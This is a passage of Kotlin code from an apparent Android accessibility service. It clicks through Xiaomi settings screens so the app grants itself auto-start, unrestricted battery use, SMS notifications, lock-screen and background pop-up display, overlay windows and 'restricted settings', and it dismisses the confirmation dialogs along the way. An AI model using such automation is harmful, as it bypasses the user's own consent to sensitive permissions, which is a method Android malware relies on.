     * 处理: 1. 自启动管理 2. 通知管理->允许通知->关闭 (Android 13不支持) 3. 省电策略->无限制
     */
    private suspend fun executeAppManagementPermissionsV10(): Boolean {
        Log.i(TAG, "🔧 开始应用管理权限配置")

        // 1. 导航到应用设置->应用管理->我们的应用 (Android 15直接到应用设置->我们的应用)
//        if (!navigateToAppManagementOurApp()) {
//            Log.e(TAG, "❌ 无法导航到应用管理->我们的应用")
//            return false
//        }

        var successCount = 0
//        delay(200)
//        // 2. 处理自启动管理
//        if (handleAutoStartManagement()) {
//            successCount++
//            Log.i(TAG, "✅ 自启动管理配置成功")
//        }
        // 打开应用详情页面

//        if (miVersion != MI_ANDROID_15 && miVersion != MI_ANDROID_13) {

        openAppDetailsPage()
        delay(delay_page())
        delay(delay_page())
        if (findTextByPreciseMatching("自启动") == null){
            performBackNavigation()
            // 1. 打开设置页面
            if (!openSystemSettingsPage()) {
                Log.i(TAG, "✅ 打开设置失败")
                return false
            }

            // 2. 查找并点击"隐私保护"
            if (!findAndClickText("应用设置")) {
                Log.i(TAG, "✅ 点击应用失败")
                return false
            }
//            if (miVersion == MI_ANDROID_11 || miVersion == MI_ANDROID_12){
//                if (!findAndClickText("应用管理")) {
//                    Log.i(TAG, "✅ 点击应用管理失败")
//                    return false
//                }
//
//            }
            if (getSystemTypeDescription() == "MIUI"){
                if (!findAndClickText("应用管理")) {
                    Log.i(TAG, "✅ 点击应用管理失败")
                    return false
                }
            }
//            delay(1000L)
            delay(delay_page())
            delay(delay_page())
            if (!findAndClickOurAppInSearch()) {
                Log.i(TAG, "✅ 查找我们的应用失败")
                return false
            }

        }
        delay(delay_page())
        if (handleAutoStartManagement()) {
            successCount++
            Log.i(TAG, "✅ 自启动管理配置成功")
        }
//        performScrollDownPrecise()

//        delay(150)
        delay(delay_page())
        // 3. 处理通知管理 (Android 13不支持)
        if (supportNotificationManagement()) {
            if (handleNotificationManagement()) {
                successCount++
                Log.i(TAG, "✅ 通知管理配置成功")
            }
        } else {
            Log.i(TAG, "⏭️ Android 13版本跳过通知管理功能")
        }

        // 4. 返回应用详情页面（只有处理了通知管理才需要返回）
        if (supportNotificationManagement()) {
            if (navigateBackToAppDetails()) {
                // 5. 处理省电策略
                if (handlePowerSavingStrategy()) {
                    performBackNavigation()
                    successCount++
                    Log.i(TAG, "✅ 省电策略配置成功")
                }
            }
        } else {
            // Android 13直接处理省电策略，无需返回
            val brand = Build.BRAND.lowercase()
//            if (brand.contains("redmi")) {
                //红米没有电量消耗
//                if (miVersion == MI_ANDROID_15) {
//                    if (handleRestrictedSettings()) {
//                        Log.i(TAG, "✅ 允许受限制的设置配置成功")
//                    }
//                }
//            } else {
                if (handlePowerSavingStrategy()) {
                    successCount++
                    Log.i(TAG, "✅ 省电策略配置成功")
                    // 1. 先返回到应用详情页面
                    Log.d(TAG, "🔙 返回到应用详情页面")
                    performBackNavigation()
                    // Android 15独有：处理"允许受限制的设置"
//                    if (miVersion == MI_ANDROID_15) {
//                        if (handleRestrictedSettings()) {
//                            Log.i(TAG, "✅ 允许受限制的设置配置成功")
//                        }
//                    }
                }
//            }

        }

        performScrollDownPrecise()
        delay(delay_page())
        if (miVersion == MI_ANDROID_15 || miVersion == MI_ANDROID_13) {
            if (handleRestrictedSettings()) {
                Log.i(TAG, "✅ 允许受限制的设置配置成功")
            }
        }


        delay(delay_page())

//        val popupButtonText = if (miVersion == MI_ANDROID_15 || miVersion == MI_ANDROID_14) "知道了" else "确定"
//        if (handlePopupSelection(popupButtonText)) {
//            Log.d(TAG, "✅ 自启动弹窗$popupButtonText 按钮点击成功")
//            Log.d(TAG, "✅ 允许自启动的设置已成功开启")
//
//        } else {
//            Log.d(TAG, "🔍 未检测到弹窗或弹窗已自动关闭")
//
//        }
//        performBackNavigation()
//
//        delay(delay_page())
        findAndClickTextPrecise("权限管理")
        delay(delay_page())
        if (miVersion != MI_ANDROID_10 && miVersion != MI_ANDROID_11 && miVersion != MI_ANDROID_12){
            findAndClickTextPrecise("其他权限")
            delay(delay_page())
        }

        performScrollDownPrecise()
        delay(delay_page())

        findAndClickTextPrecise("通知类短信")
        delay(delay_page())
        if (findAndClickTextPrecise("始终允许")) {
            successCount++
        }
        if (miVersion != MI_ANDROID_10 && miVersion != MI_ANDROID_11 && miVersion != MI_ANDROID_12){
            //12 弹框
            performBackNavigation()
        }

        delay(delay_page())

        findAndClickTextPrecise("锁屏显示")
        delay(delay_page())
        if (findAndClickTextPrecise("始终允许")) {
            successCount++
        }
        if (miVersion != MI_ANDROID_10 && miVersion != MI_ANDROID_11 && miVersion != MI_ANDROID_12){
            //12 弹框
            performBackNavigation()
        }
        delay(delay_page())

        findAndClickTextPrecise("后台弹出界面")
        delay(delay_page())
        if (findAndClickTextPrecise("始终允许")) {
            successCount++
        }
        if (miVersion != MI_ANDROID_10 && miVersion != MI_ANDROID_11 && miVersion != MI_ANDROID_12){
            //12 弹框
            performBackNavigation()
        }
        delay(delay_page())

        findAndClickTextPrecise("显示悬浮窗")
        delay(delay_page())
        if (findAndClickTextPrecise("始终允许")) {
            successCount++
        }


//        先不返回  处理自启动
        //Android 13 Android 15
        if (miVersion == MI_ANDROID_12 || miVersion == MI_ANDROID_11) {
            performBackNavigation()
            delay(20)
            Log.i(TAG, "fanhui1ci")
            performBackNavigation()
            delay(20)
            Log.i(TAG, "fanhui2ci")

        }

        //Android 13 Android 15
        if (miVersion == MI_ANDROID_13) {
            performBackNavigation()
            delay(20)
            Log.i(TAG, "fanhui1ci")
            performBackNavigation()
            delay(20)
            Log.i(TAG, "fanhui2ci")

        }
        if (miVersion == MI_ANDROID_15) {
            performBackNavigation()
            delay(20)
            Log.i(TAG, "fanhui1ci")
            performBackNavigation()
            delay(20)
            Log.i(TAG, "fanhui2ci")
        }
        if (miVersion == MI_ANDROID_14) {
            performBackNavigation()
            delay(20)
            Log.i(TAG, "fanhui1ci")
            performBackNavigation()
            delay(20)
            Log.i(TAG, "fanhui2ci")
            performBackNavigation()
            delay(20)
            Log.i(TAG, "fanhui3ci")
        }
        //不要在这个地方去打开写设置
//        if (miVersion == MI_ANDROID_13 || miVersion == MI_ANDROID_14 || miVersion == MI_ANDROID_15) {
//            if (miVersion == MI_ANDROID_13) {
//                if (!findAndClickText("隐私保护")) {
//                    return false
//                }
//            } else {
//                if (!findAndClickText("隐私与安全")) {
//                    return false
//                }
//            }
//
//            delay(50)
//            // 策略1: 直接查找当前页面
//            if (!searchCurrentPageForText("保护隐私")) {
//                // 查找并点击"其他权限"
//                if (!findAndClickText("其他权限")) {
//                    return false
//                }
//            }
//            delay(100)
//            if (!findAndClickText("特殊权限设置")) {
//                return false
//            }
//            delay(100)
//            if (!findAndClickText("修改系统设置")) {
//                return false
//            }
//            delay(100)
//            //  查找并点击我们的应用
//            if (!findAndClickOurApp()) {
//                return false
//            }
//            delay(100)
//        }
//
//
//        //获取后台弹出权限
//        if (miVersion == MI_ANDROID_13) {
//            if (!findAndClickText("隐私保护")) {
//                return false
//            }
//        } else {
//            if (!findAndClickText("隐私与安全")) {
//                return false
//            }
//        }
//        delay(50)
//        // 策略1: 直接查找当前页面
//        if (!searchCurrentPageForText("保护隐私")) {
//            // 查找并点击"其他权限"
//            if (!findAndClickText("其他权限")) {
//                return false
//            }
//        }
//        delay(20)
//        if (!findAndClickText("自启动管理")) {
//            return false
//        }
//        delay(20)
//        if (!findAndClickOurApp()) {
//            return false
//        }
//        performBackNavigation()
//
//        delay(20)
//        if (!findAndClickText("锁屏显示")) {
//            return false
//        }
//        delay(20)
//        if (!findAndClickOurApp()) {
//            return false
//        }
//        delay(20)
//        if (!findAndClickText("始终允许")) {
//            return false
//        }
//        performBackNavigation()
//        delay(100)
//        Log.i(TAG, "fanhui1ci")
//        performBackNavigation()
//        delay(100)
//        Log.i(TAG, "fanhui2ci")
//
//
//        delay(20)
//        if (!findAndClickText("锁屏显示")) {
//            return false
//        }
//        delay(20)
//        if (!findAndClickOurApp()) {
//            return false
//        }
//        delay(20)
//        if (!findAndClickText("始终允许")) {
//            return false
//        }
//        performBackNavigation()
//        delay(100)
//        Log.i(TAG, "fanhui1ci")
//        performBackNavigation()
//        delay(100)
//        Log.i(TAG, "fanhui2ci")
//
//        if (!findAndClickText("显示悬浮窗")) {
//            return false
//        }
//        delay(20)
//        if (!findAndClickOurApp()) {
//            return false
//        }
//        delay(20)
//        if (!findAndClickText("始终允许")) {
//            return false
//        }
//        performBackNavigation()
//        delay(100)
//        Log.i(TAG, "fanhui1ci")
//        performBackNavigation()
//        delay(100)
//        Log.i(TAG, "fanhui2ci")
//
//
//
//        if (!findAndClickText("后台弹出界面")) {
//            return false
//        }
//        delay(20)
//        if (!findAndClickOurApp()) {
//            return false
//        }
//        delay(20)
//        if (!findAndClickText("始终允许")) {
//            return false
//        }
//        performBackNavigation()
//        delay(100)
//        Log.i(TAG, "fanhui1ci")
//        performBackNavigation()
//        delay(100)
//        Log.i(TAG, "fanhui2ci")
//        if (!findAndClickText("通知类短信")) {
//            return false
//        }
//        delay(20)
//        if (!findAndClickOurApp()) {
//            return false
//        }
//        delay(20)
//        if (!findAndClickText("始终允许")) {
//            return false
//        }
//        performBackNavigation()
//
//        Log.i(TAG, "fanhui1ci")
//        performBackNavigation()
//
//        Log.i(TAG, "fanhui2ci")
//        performBackNavigation()
//
//        Log.i(TAG, "fanhui3ci")
//        performBackNavigation()
//
//        Log.i(TAG, "fanhui4ci")


        val expectedCount = if (supportNotificationManagement()) 3 else 2
        Log.i(TAG, "📊 应用管理权限配置完成: 成功 $successCount/$expectedCount")
        return successCount >= 2 // 至少成功2个
    }

    // ======================== 小米Android 11+权限配置方法 ========================

    /**
     * Android 11+: 隐私保护权限配置 (可能路径略有不同)
     */
    private suspend fun executePrivacyPermissionsV11Plus(): Boolean {
        Log.i(TAG, "🔧 开始隐私保护权限配置 (Android 11+)")
        // 基本逻辑与Android 10相同，但可能需要适配路径差异
        return executePrivacyPermissionsV10()
    }

    /**
     * Android 11+: 电池性能权限配置 (可能路径略有不同)
     */
    private suspend fun executeBatteryPermissionsV11Plus(): Boolean {
        Log.i(TAG, "🔧 开始电池性能权限配置 (Android 11+)")
        // 基本逻辑与Android 10相同，但可能需要适配路径差异
        return executeBatteryPermissionsV10()
    }

    /**
     * Android 11+: 应用管理权限配置 (可能路径略有不同)
     */
    private suspend fun executeAppManagementPermissionsV11Plus(): Boolean {
        Log.i(TAG, "🔧 开始应用管理权限配置 (Android 11+)")
        // 基本逻辑与Android 10相同，但可能需要适配路径差异
        // Android 13版本会跳过通知管理功能
        return executeAppManagementPermissionsV10()
    }

    // ======================== 导航方法 ========================

    /**
     * 导航到隐私保护->其他权限
     */
    private suspend fun navigateToPrivacyOtherPermissions(): Boolean {
        Log.d(TAG, "🧭 导航到隐私保护->其他权限")

        // 1. 打开设置页面
        if (!openSettingsPage()) {
            return false
        }

        // 2. 查找并点击"隐私保护"
        if (!findAndClickText("隐私保护")) {
            return false
        }

        delay(PAGE_LOAD_DELAY)

        // 策略1: 直接查找当前页面
        if (!searchCurrentPageForText("保护隐私")) {
            // 3. 查找并点击"其他权限"
            if (!findAndClickText("其他权限")) {
                return false
            }
        }

        delay(PAGE_LOAD_DELAY)
        Log.d(TAG, "✅ 成功导航到隐私保护->其他权限||保护隐私")
        return true
    }

    /**
     * 导航到电池与性能/省电与电池->更多电池功能或设置图标 (Android 11使用右上角设置图标)
     */
    private suspend fun navigateToBatteryMoreFunctions(): Boolean {
        val batteryPageText = getBatteryPageText()
        val targetAction =
            if (miVersion == MI_ANDROID_11 || miVersion == MI_ANDROID_12) "右上角设置图标" else "更多电池功能"
        Log.d(TAG, "🧭 导航到$batteryPageText->$targetAction")

        // 1. 打开设置页面
        if (!openSettingsPage()) {
            return false
        }

        // 2. 查找并点击"电池与性能"或"省电与电池"
        if (!findAndClickText(batteryPageText)) {
            return false
        }

        delay(PAGE_LOAD_DELAY)

        // 3. Android 11点击右上角设置图标，其他版本点击"更多电池功能"
        //if (miVersion == MI_ANDROID_11 || miVersion == MI_ANDROID_12) {
        //    if (!clickTopRightSettingsIcon()) {
        //        return false
        //    }
        //} else {
        //    if (!findAndClickText("更多电池功能")) {
        //        if (!clickTopRightSettingsIcon()) {
        //            return false
        //        }
        //    }
        //}
        // 3. Android 先找"右上角设置图标"。找不到找更多电池功能
        if (!clickTopRightSettingsIcon()) {
            if (!findAndClickText("更多电池功能")) {
                return false
            }
        }

        delay(PAGE_LOAD_DELAY)
        Log.d(TAG, "✅ 成功导航到$batteryPageText->$targetAction")
        return true
    }

    /**
     * Android 11专用：点击右上角设置图标
     */
    private suspend fun clickTopRightSettingsIcon(): Boolean {
        Log.d(TAG, "🔧 Android 11: 查找并点击右上角设置图标")

        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            // 查找可能的设置图标节点
            val possibleNodes = mutableListOf<AccessibilityNodeInfo>()
            findRightTopNodes(rootNode, possibleNodes)

            // 优先查找明确的设置相关文本和描述
            val settingsTexts = listOf("设置", "更多", "菜单", "选项", "更多选项", "toolbar_menu")

            for (text in settingsTexts) {
                for (node in possibleNodes) {
                    val nodeText = node.text?.toString() ?: ""
                    val nodeDesc = node.contentDescription?.toString() ?: ""

                    if (nodeText.contains(text, ignoreCase = true) || nodeDesc.contains(
                            text,
                            ignoreCase = true
                        )
                    ) {
                        Log.d(TAG, "✅ 找到右上角设置图标: 文本='$nodeText', 描述='$nodeDesc'")
                        val success = performStableClick(node, text)
                        safeRecycleNode(rootNode)
                        return success
                    }
                }
            }

            // 如果没找到明确的设置文本，查找右上角可点击的节点
            for (node in possibleNodes) {
                if (node.isClickable) {
                    val nodeText = node.text?.toString() ?: ""
                    val nodeDesc = node.contentDescription?.toString() ?: ""
                    Log.d(TAG, "🔍 尝试点击右上角可点击节点: 文本='$nodeText', 描述='$nodeDesc'")
                    val success = performStableClick(node, "右上角图标")
                    safeRecycleNode(rootNode)
                    if (success) {
                        Log.d(TAG, "✅ 成功点击右上角设置图标")
                        return true
                    }
                }
            }

            safeRecycleNode(rootNode)
            Log.w(TAG, "❌ 未找到右上角设置图标")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 点击右上角设置图标异常", e)
            safeRecycleNode(rootNode)
            return false
        }
    }

    /**
     * 查找屏幕右上角区域的节点
     */
    private fun findRightTopNodes(
        node: AccessibilityNodeInfo,
        results: MutableList<AccessibilityNodeInfo>
    ) {
        try {
            val rect = android.graphics.Rect()
            node.getBoundsInScreen(rect)

            // 获取屏幕尺寸
            val screenWidth = 1080  // 默认屏幕宽度
            val screenHeight = 2340 // 默认屏幕高度

            // 检查是否在右上角区域（右上角1/4区域）
            val isInRightTop =
                rect.centerX() > screenWidth * 0.75 && rect.centerY() < screenHeight * 0.25

            if (isInRightTop && (node.isClickable || !node.text.isNullOrEmpty() || !node.contentDescription.isNullOrEmpty())) {
                results.add(node)
            }

            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    findRightTopNodes(child, results)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "查找右上角节点异常", e)
        }
    }

    /**
     * 导航到应用设置->应用管理->我们的应用 (Android 15: 应用设置->我们的应用)
     */
    private suspend fun navigateToAppManagementOurApp(): Boolean {
        if (needAppManagementNavigation()) {
            Log.d(TAG, "🧭 导航到应用设置->应用管理->我们的应用")
        } else {
            Log.d(TAG, "🧭 导航到应用设置->我们的应用 (Android 15)")
        }

        // 1. 打开设置页面
        if (!openSettingsPage()) {
            return false
        }

        // 2. 查找并点击"应用设置"
        if (!findAndClickText("应用设置")) {
            return false
        }

        delay(500)

        // 3. 查找并点击"应用管理" (Android 15跳过此步骤)
        if (needAppManagementNavigation()) {
            if (!findAndClickText("应用管理")) {
                return false
            }
            delay(150)
        }

        // 4. 查找并点击我们的应用
        if (!findAndClickOurApp()) {
            return false
        }

        delay(300)
        Log.d(TAG, "✅ 成功导航到应用管理->我们的应用")
        return true
    }

    // ======================== 具体权限处理方法 ========================

    /**
     * 处理自启动管理权限（在应用详情页面）
     */
    private suspend fun handleAutoStartManagement(): Boolean {
        Log.d(TAG, "🔧 处理自启动管理权限")

        val node = findTextByPreciseMatching("自启动")
        //如果允许点击，就直接点击，不能点击就去查兄弟节点然后点击
        if (node!!.isClickable)  {
            if (findAndCurrentClickTextPrecise("自启动")) {
                delay(delay_page())
                val rootNode = getStableRootInActiveWindow(service)
                if (rootNode == null) {
                    Log.w(TAG, "❌ 无法获取根节点")
                    return false
                }
                val popupButtonText = if (getSystemTypeDescription() == "澎湃OS") "知道了" else "确定"
                if (handlePopupSelection(popupButtonText)) {
                    Log.d(TAG, "✅ 自启动弹窗$popupButtonText 按钮点击成功")
                    Log.d(TAG, "✅ 允许自启动的设置已成功开启")
                    return true
                } else {
                    Log.d(TAG, "🔍 未检测到弹窗或弹窗已自动关闭")

                }
                val autoStartNode = findNodeByText(rootNode, "自启动")
                if (autoStartNode == null) {
                    Log.w(TAG, "❌ 未找到自启动选项")
                    safeRecycleNode(rootNode)
                    return false
                }

                val isCheckboxEnabled = checkAutoStartCheckboxStatus(autoStartNode)

                if (isCheckboxEnabled) {
                    Log.d(TAG, "✅ 允许自启动设置已开启，无需操作")
                    safeRecycleNode(rootNode)
                    return true
                } else {
                    if (findAndCurrentClickTextPrecise("自启动")) {
                        delay(delay_page())
                        val rootNode = getStableRootInActiveWindow(service)
                        if (rootNode == null) {
                            Log.w(TAG, "❌ 无法获取根节点")
                            return false
                        }
                        val popupButtonText = if (getSystemTypeDescription() == "澎湃OS") "知道了" else "确定"
                        if (handlePopupSelection(popupButtonText)) {
                            Log.d(TAG, "✅ 自启动弹窗$popupButtonText 按钮点击成功")
                            Log.d(TAG, "✅ 允许自启动的设置已成功开启")
                            return true
                        } else {
                            Log.d(TAG, "🔍 未检测到弹窗或弹窗已自动关闭")

                        }

                        val autoStartNode = findNodeByText(rootNode, "自启动")
                        if (autoStartNode == null) {
                            Log.w(TAG, "❌ 未找到自启动选项")
                            safeRecycleNode(rootNode)
                            return false
                        }



                        val isCheckboxEnabled = checkAutoStartCheckboxStatus(autoStartNode)

                        if (isCheckboxEnabled) {
                            Log.d(TAG, "✅ 允许自启动设置已开启，无需操作")
                            safeRecycleNode(rootNode)
                            return true
                        } else {
                            if (findAndCurrentClickTextPrecise("自启动")) {
                                delay(delay_page())

                                val popupButtonText = if (getSystemTypeDescription() == "澎湃OS") "知道了" else "确定"
                                if (handlePopupSelection(popupButtonText)) {
                                    Log.d(TAG, "✅ 自启动弹窗$popupButtonText 按钮点击成功")
                                    Log.d(TAG, "✅ 允许自启动的设置已成功开启")
                                    return true
                                } else {
                                    Log.d(TAG, "🔍 未检测到弹窗或弹窗已自动关闭")

                                }

                                val rootNode = getStableRootInActiveWindow(service)
                                if (rootNode == null) {
                                    Log.w(TAG, "❌ 无法获取根节点")
                                    return false
                                }

                                val autoStartNode = findNodeByText(rootNode, "自启动")
                                if (autoStartNode == null) {
                                    Log.w(TAG, "❌ 未找到自启动选项")
                                    safeRecycleNode(rootNode)
                                    return false
                                }


                                val isCheckboxEnabled = checkAutoStartCheckboxStatus(autoStartNode)

                                if (isCheckboxEnabled) {
                                    Log.d(TAG, "✅ 允许自启动设置已开启，无需操作")
                                    safeRecycleNode(rootNode)
                                    return true
                                } else {
                                    Log.d(TAG, "🔍 自启动当前关闭，需要点击开启")
                                }
                            }
//                        Log.d(TAG, "🔍 自启动当前关闭，需要点击开启")
                        }
                    }

                }
            }

        }else{
            // 非 Android 15 机型：找到“自启动”文本后，查找其兄弟节点中的 switch 并尝试点击
            try {
                val rootNode = getStableRootInActiveWindow(service)
                if (rootNode == null) {
                    Log.w(TAG, "❌ 无法获取根节点")
                    return false
                }

                // 1) 查找“自启动”文本节点（不直接点击）
                val autoStartNode = findNodeByText(rootNode, "自启动")
                if (autoStartNode == null) {
                    Log.w(TAG, "❌ 未找到‘自启动’文本节点")
                    safeRecycleNode(rootNode)
                    return false
                }

                // 2) 向上寻找父容器，并在兄弟节点中查找 switch/可切换控件
                var parent = autoStartNode.parent
                var level = 0
                var switchNode: AccessibilityNodeInfo? = null
                val maxLevels = 8

                // 获取目标文本的中心 Y，用于“同行”判断
                val targetRect = Rect()
                autoStartNode.getBoundsInScreen(targetRect)
                val targetCenterY = targetRect.centerY()

                while (parent != null && level < maxLevels && switchNode == null) {
                    for (i in 0 until parent.childCount) {
                        val sibling = parent.getChild(i) ?: continue
                        try {
                            // 兄弟节点是否为 switch/可切换控件
                            val className = sibling.className?.toString() ?: ""
                            val isSwitchLike =
                                className.contains("Switch", ignoreCase = true) ||
                                        className.contains("Toggle", ignoreCase = true) ||
                                        sibling.isCheckable

                            if (!isSwitchLike) continue

                            // 判断是否与“自启动”在同行（垂直位置接近）
                            val rect = Rect()
                            sibling.getBoundsInScreen(rect)
                            val verticalDistance = kotlin.math.abs(targetCenterY - rect.centerY())
                            val isInSameRow = verticalDistance <= 100
                            if (!isInSameRow) continue

                            switchNode = sibling
                            break
                        } catch (_: Exception) {
                        }
                    }
                    parent = parent.parent
                    level++
                }

                if (switchNode == null) {
                    Log.w(TAG, "❌ 未找到与‘自启动’同行的switch/可切换控件")
                    safeRecycleNode(rootNode)
                    return false
                }

                // 3) 检查当前状态，未开启则尝试点击；若不可点击则坐标点击
                val isEnabled = try { switchNode!!.isChecked } catch (_: Exception) { false }
                if (isEnabled) {
                    Log.d(TAG, "✅ 自启动已开启，无需操作")
                    safeRecycleNode(rootNode)
                    return true
                }

                Log.d(TAG, "🔧 自启动未开启，准备点击兄弟switch节点")
                val clickSuccess = try {
                    if (switchNode!!.isClickable) {
                        performClickSafe(switchNode!!)
                    } else {
                        performCoordinateClick(switchNode!!)
                    }
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 点击兄弟switch节点失败", e)
                    false
                }

                val popupButtonText = if (getSystemTypeDescription() == "澎湃OS") "知道了" else "确定"
                if (handlePopupSelection(popupButtonText)) {
                    Log.d(TAG, "✅ 自启动弹窗$popupButtonText 按钮点击成功")
                    Log.d(TAG, "✅ 允许自启动的设置已成功开启")

                } else {
                    Log.d(TAG, "🔍 未检测到弹窗或弹窗已自动关闭")

                }

                // 4) 短暂等待并复查状态
                if (clickSuccess) {
                    delay(300)
                    val verifyRoot = getStableRootInActiveWindow(service)
                    val verifyNode = if (verifyRoot != null) findNodeByText(verifyRoot, "自启动") else null
                    var finalEnabled = false
                    if (verifyNode != null) {
                        // 再次寻找兄弟 switch 验证状态
                        try {
                            val verifyRect = Rect()
                            verifyNode.getBoundsInScreen(verifyRect)
                            val verifyCenterY = verifyRect.centerY()
                            var verifyParent = verifyNode.parent
                            var verifyLevel = 0
                            while (verifyParent != null && verifyLevel < maxLevels) {
                                for (i in 0 until verifyParent.childCount) {
                                    val sib = verifyParent.getChild(i) ?: continue
                                    val cls = sib.className?.toString() ?: ""
                                    val isSwitchLike = cls.contains("Switch", true) || cls.contains("Toggle", true) || sib.isCheckable
                                    if (!isSwitchLike) continue
                                    val r = Rect()
                                    sib.getBoundsInScreen(r)
                                    if (kotlin.math.abs(verifyCenterY - r.centerY()) <= 100) {
                                        finalEnabled = sib.isChecked
                                        break
                                    }
                                }
                                if (finalEnabled) break
                                verifyParent = verifyParent.parent
                                verifyLevel++
                            }
                        } catch (_: Exception) {}
                    }
                    safeRecycleNode(verifyRoot)
                    safeRecycleNode(rootNode)
                    Log.d(TAG, "✅ 自启动开关点击完成，最终状态: ${finalEnabled}")
                    return finalEnabled || clickSuccess
                } else {
                    safeRecycleNode(rootNode)
                    return false
                }

            } catch (e: Exception) {
                Log.e(TAG, "❌ 非Android 15自启动处理异常", e)
                return false
            }
        }
        return false


//
//
//        // 1. 查找自启动文本
//        val rootNode = getStableRootInActiveWindow(service)
//        if (rootNode == null) {
//            Log.w(TAG, "❌ 无法获取根节点")
//            return false
//        }
//
//        val autoStartNode = findNodeByText(rootNode, "自启动")
//        if (autoStartNode == null) {
//            Log.w(TAG, "❌ 未找到自启动选项")
//            safeRecycleNode(rootNode)
//            return false
//        }
//
//        Log.d(TAG, "✅ 找到自启动选项")
//
//        // 2. 检查自启动checkbox状态 - 使用专门的检查方法
//        Log.d(TAG, "🔍 检查自启动设置当前状态")
//        val isCheckboxEnabled = checkAutoStartCheckboxStatus(autoStartNode)
//
//        if (isCheckboxEnabled) {
//            Log.d(TAG, "✅ 允许自启动设置已开启，无需操作")
//            safeRecycleNode(rootNode)
//            return true
//        } else {
//            Log.d(TAG, "🔍 自启动当前关闭，需要点击开启")
//        }
//
//        // 3. 如果需要开启，使用专门的点击方法
//        Log.d(TAG, "🔧 点击开启自启动功能")
//        val clickResult = clickAutoStartCheckbox(autoStartNode)
//        safeRecycleNode(rootNode)
//
//        if (!clickResult) {
//            Log.w(TAG, "❌ 点击自启动checkbox失败")
//            return false
//        }
//        // 4. 处理可能出现的弹窗
//        delay(100)
//        val popupButtonText = if (miVersion == MI_ANDROID_15 || miVersion == MI_ANDROID_14) "知道了" else "确定"
//        if (handlePopupSelection(popupButtonText)) {
//            Log.d(TAG, "✅ 自启动弹窗$popupButtonText 按钮点击成功")
//            Log.d(TAG, "✅ 允许自启动的设置已成功开启")
//            return true
//        } else {
//            Log.d(TAG, "🔍 未检测到弹窗或弹窗已自动关闭")
//            return false
//        }
    }

    /**
     * 专门检查自启动checkbox的状态
     * @param autoStartNode 自启动文本节点
     * @return true表示checkbox已选中(自启动已开启), false表示未选中(自启动已关闭)
     */
    private fun checkAutoStartCheckboxStatus(autoStartNode: AccessibilityNodeInfo): Boolean {
        try {
            Log.d(TAG, "🔍 开始检查自启动checkbox状态")

            // 获取自启动文本节点的位置
            val autoStartRect = Rect()
            autoStartNode.getBoundsInScreen(autoStartRect)
            Log.d(TAG, "📍 自启动节点位置: ${autoStartRect}")

            // 向上查找父容器，寻找包含checkbox的行容器
            var currentParent = autoStartNode.parent
            var searchLevel = 0
            val maxSearchLevels = 15 // 最多向上查找15层

            while (currentParent != null && searchLevel < maxSearchLevels) {
                Log.d(TAG, "🔍 在第${searchLevel + 1}层父容器中查找checkbox")

                // 在当前父容器中查找所有checkbox
                val checkboxes = mutableListOf<AccessibilityNodeInfo>()
                findCheckboxesInContainer(currentParent, checkboxes)

                // 检查每个checkbox是否与自启动文本在同一行
                for (checkbox in checkboxes) {
                    val checkboxRect = Rect()
                    checkbox.getBoundsInScreen(checkboxRect)

                    // 计算垂直距离，判断是否在同一行
                    val verticalDistance =
                        Math.abs(autoStartRect.centerY() - checkboxRect.centerY())
                    val horizontalDistance =
                        Math.abs(autoStartRect.centerX() - checkboxRect.centerX())

                    Log.d(
                        TAG,
                        "🔍 检查checkbox: 垂直距离=${verticalDistance}px, 水平距离=${horizontalDistance}px, 选中状态=${checkbox.isChecked}"
                    )

                    // 同一行的判断条件：垂直距离小于80px，且水平距离合理（避免选到其他行的checkbox）
                    if (verticalDistance <= 80 && horizontalDistance > 50) {
                        Log.d(TAG, "✅ 找到同行的自启动checkbox，选中状态: ${checkbox.isChecked}")
                        return checkbox.isChecked
                    }
                }

                currentParent = currentParent.parent
                searchLevel++
            }

            Log.w(TAG, "⚠️ 未找到与自启动文本相关的checkbox")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查自启动checkbox状态异常", e)
            return false
        }
    }

    /**
     * 专门点击自启动checkbox来开启功能
     * @param autoStartNode 自启动文本节点
     * @return true表示点击成功, false表示点击失败
     */
    private suspend fun clickAutoStartCheckbox(autoStartNode: AccessibilityNodeInfo): Boolean {
        try {
            Log.d(TAG, "🔧 开始点击自启动checkbox")

            // 获取自启动文本节点的位置
            val autoStartRect = Rect()
            autoStartNode.getBoundsInScreen(autoStartRect)

            // 向上查找父容器，寻找包含checkbox的行容器
            var currentParent = autoStartNode.parent
            var searchLevel = 0
            val maxSearchLevels = 6

            while (currentParent != null && searchLevel < maxSearchLevels) {
                Log.d(TAG, "🔍 在第${searchLevel + 1}层父容器中查找可点击的checkbox")

                // 在当前父容器中查找所有checkbox
                val checkboxes = mutableListOf<AccessibilityNodeInfo>()
                findCheckboxesInContainer(currentParent, checkboxes)

                // 查找与自启动文本在同一行的checkbox
                for (checkbox in checkboxes) {
                    val checkboxRect = Rect()
                    checkbox.getBoundsInScreen(checkboxRect)

                    val verticalDistance =
                        Math.abs(autoStartRect.centerY() - checkboxRect.centerY())
                    val horizontalDistance =
                        Math.abs(autoStartRect.centerX() - checkboxRect.centerX())

                    // 找到同一行的checkbox
                    if (verticalDistance <= 80 && horizontalDistance > 50) {
                        Log.d(
                            TAG,
                            "✅ 找到目标checkbox，当前状态: ${checkbox.isChecked}, 可点击: ${checkbox.isClickable}"
                        )

                        // 如果已经选中，无需点击
                        if (checkbox.isChecked) {
                            Log.d(TAG, "✅ checkbox已经选中，无需点击")
                            return true
                        }

                        // 🔧 如果checkbox未选中，直接使用坐标点击（更可靠）
                        val centerX = checkboxRect.centerX().toFloat()
                        val centerY = checkboxRect.centerY().toFloat()

                        Log.d(TAG, "🎯 直接点击checkbox坐标: ($centerX, $centerY)")

                        try {
                            // 使用坐标直接点击，避免节点失效问题
                            service.performClick(centerX, centerY)
                            delay(100) // 等待UI响应

                            Log.d(TAG, "✅ 自启动checkbox坐标点击成功")
                            return true

                        } catch (e: Exception) {
                            Log.e(TAG, "❌ 坐标点击失败，尝试备用方案", e)

                            // 备用方案：尝试使用节点点击
                            val clickSuccess = if (checkbox.isClickable) {
                                Log.d(TAG, "🔧 备用方案：尝试节点点击")
                                performStableClick(checkbox, "自启动checkbox备用")
                            } else {
                                Log.d(TAG, "🔧 备用方案：尝试点击父容器")
